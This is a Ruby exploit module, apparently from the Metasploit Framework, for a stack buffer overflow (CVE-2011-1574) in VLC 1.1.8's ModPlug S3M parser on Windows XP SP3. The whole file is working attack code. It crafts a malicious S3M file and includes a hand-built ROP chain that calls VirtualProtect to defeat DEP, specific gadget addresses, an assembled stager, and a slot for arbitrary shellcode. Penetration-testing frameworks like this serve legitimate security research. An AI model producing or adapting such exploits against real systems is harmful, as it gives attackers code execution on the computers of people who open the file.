## # $Id: vlc_modplug_s3m.rb 12282 2011-04-08 15:48:53Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow', 'Description' => %q{ This module exploits an input validation error in libmod_plugin as included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9 are affected. By creating a malicious S3M file, a remote attacker could execute arbitrary code. Although other products that bundle libmodplug may be vulnerable, this module was only tested against VLC. NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to permanently enable NX support on machines that support it. As such, this module is capable of bypassing DEP, but not ASLR. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 12282 $', 'References' => [ [ 'CVE', '2011-1574' ], #[ 'OSVDB', 'xxx' ], #[ 'BID', 'xxx' ], [ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ], [ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ], [ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ] ], 'Payload' => { 'Space' => 512 - 0x24, # Space reserved for prepended mutex code #'DisableNops' => true, }, 'Platform' => 'win', 'Targets' => [ [ 'VLC 1.1.8 on Windows XP SP3', { # vuln is in libmod_plugin.dll, rop is custom to this module } ], ], 'Privileged' => false, 'DisclosureDate' => 'Apr 07, 2011', # "found: 2011-03-09" 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.s3m']), ], self.class) end def exploit num_orders = 0x14 num_instru = 0x15 num_patterns = 0x18 hdr = "\x00" * 0x1c # song name (none) hdr << [ 0x1a, # static byte 0x10, # ST3 module 0x00, # padding num_orders, num_instru, num_patterns, 0x00, # Flags 0x1320, # Created with (which tracker) 0x02, # File format information ].pack('CCvvvvvvv') hdr << "SCRM" hdr << [ 0x40, # global volume 0x06, # initial speed 0x8a, # initial tempo 0xb0, # master volume 0x10, # ultra click removal 0xfb # NOTE, non-0xfc value skips an additional loop! # 0xfc == default channel pan positions present ].pack('CCCCCC') hdr << "\x00" * 10 # includes pad and special pointer # channel settings (for 32 channels) hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f" hdr << "\xff" * 16 # orders hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13" hdr << "\x14\x16\x17\xff" # parapointers to instruments hdr << [ 0x0f ].pack('v') * num_instru # parapoitners to patterns hdr << [ 0x78 ].pack('v') * num_patterns # channel default pan positions hdr << "\x00" * 32 # instruments instru = "\x01metasplo.ity" rest = "\x00" * ((0x50 * num_instru) - instru.length) # Build the rop stack rvas = rvas_libmod_plugin_xpsp3() rop = generate_rop(rvas) zero_ptr = rva2addr(rvas, 'Scratch') + 4 mutex_addr = rva2addr(rvas, 'Scratch') + 8 imp_Sleep = rva2addr(rvas, 'imp_Sleep') # A mutex to prevent double payloads locking_code = <<-EOS mov ebx, [ #{imp_Sleep} ] jmp test_lock sleep: push 0xdeadbeef call ebx test_lock: mov eax, [ #{mutex_addr} ] test eax,eax jnz sleep lock cmpxchg [ #{mutex_addr} ], ebp test eax,eax jnz sleep EOS rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string rop << payload.encoded # This becomes the new EIP (after return) ret = rva2addr(rvas, 'pop eax / ret') rest[1267, 4] = [ ret ].pack('V') # In order to force return, we smash the this ptr on the stack and point # it so that m_nChannels turns out to be 0. rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V') # Add the ROP stack and final payload here rest[1275, rop.length] = rop instru << rest # patterns patt = [ 0x10 ].pack('v') patt << "\x00" * 0x10 # finalize the file s3m = "" s3m << hdr instru_pad = (0x0f * 0x10) - hdr.length s3m << "\x80" * instru_pad s3m << instru # patch in exploit trigger values s3m[0x22, 2] = [ 0x220 ].pack('v') s3m[0x24, 2] = [ 0x220 ].pack('v') print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(s3m) end def rvas_libmod_plugin_xpsp3() # libmod_plugin.dll from VLC 1.1.8 (Win32) # Just return this hash { # Used as 'Ret' for target 'ret' => 0x1022, 'push eax / ret' => 0x1cc4d, 'pop eax / ret' => 0x598a2, 'mov eax, [eax+0x1c] / ret' => 0x542c9, 'pop ebx / pop ebp / ret' => 0x25e2f, 'add eax, 4 / pop ebp / ret' => 0x7028, 'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad, 'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64, } end def generate_rop(rvas) # ROP fun! (XP SP3 English, Apr 10 2011) rvas.merge!({ # Instructions / Name => RVA 'BaseAddress' => 0x653c0000, 'imp_VirtualProtect' => 0xec2f0 - 0x1c, # adjust for gadget used to resolve 'imp_Sleep' => 0xec2dc, 'Scratch' => 0x5fbfc, 'Data' => 0x60101, #'DataAdjusted' => 0x60000 - 0x58 + 0x8, 'DataAdjusted' => 0x60000 - 0x58, }) copy_stage = <<-EOS nop push esp pop esi lea edi, [eax+0x10] push 0x7f pop ecx inc ecx rep movsd EOS copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string if (copy_stage.length % 4) > 0 raise RuntimeError, "The copy stage is invalid" end rop_stack = [ # Resolve VirtualProtect 'pop eax / ret', 'imp_VirtualProtect', 'mov eax, [eax+0x1c] / ret', # Call VirtuaProtect 'push eax / ret', 'pop eax / ret', # after VirtualProtect # Args to VirtualProtect 'Data', # lpAddress (place holder, filled in @ runtime above) 0x1000, # dwSize 0x40, # flNewProtect 'Scratch', # lpflOldProtect # Load the pre-adjusted Data addr 'DataAdjusted', # matches pop eax / ret above ## # Write our code little stager to our newly executable memory. ## # Load the last 32-bits of code to write 'pop ebx / pop ebp / ret', copy_stage[0, 4].unpack('V').first, :unused, # ebp # Write & advance 'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret', copy_stage[4, 4].unpack('V').first, :unused, # esi :unused, # edi :unused, # ebp 'add eax, 4 / pop ebp / ret', :unused, # ebp # Write & advance 'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret', copy_stage[8, 4].unpack('V').first, :unused, # esi :unused, # edi :unused, # ebp 'add eax, 4 / pop ebp / ret', :unused, # ebp # Write & advance 'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret', 0xffffffb0, # adjustment value :unused, # esi :unused, # edi :unused, # ebp # Adjust eax 'sub eax, ebx / pop ebx / pop edi / pop ebp / ret', :unused, # ebx :unused, # edi :unused, # ebp # Execute the copy stage 'push eax / ret', ] rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused # Randomize rand_text(4).unpack('V').first else # Literal e end } rop_stack.pack('V*') end def rva2addr(rvas, key) raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key] rvas['BaseAddress'] + rvas[key] end end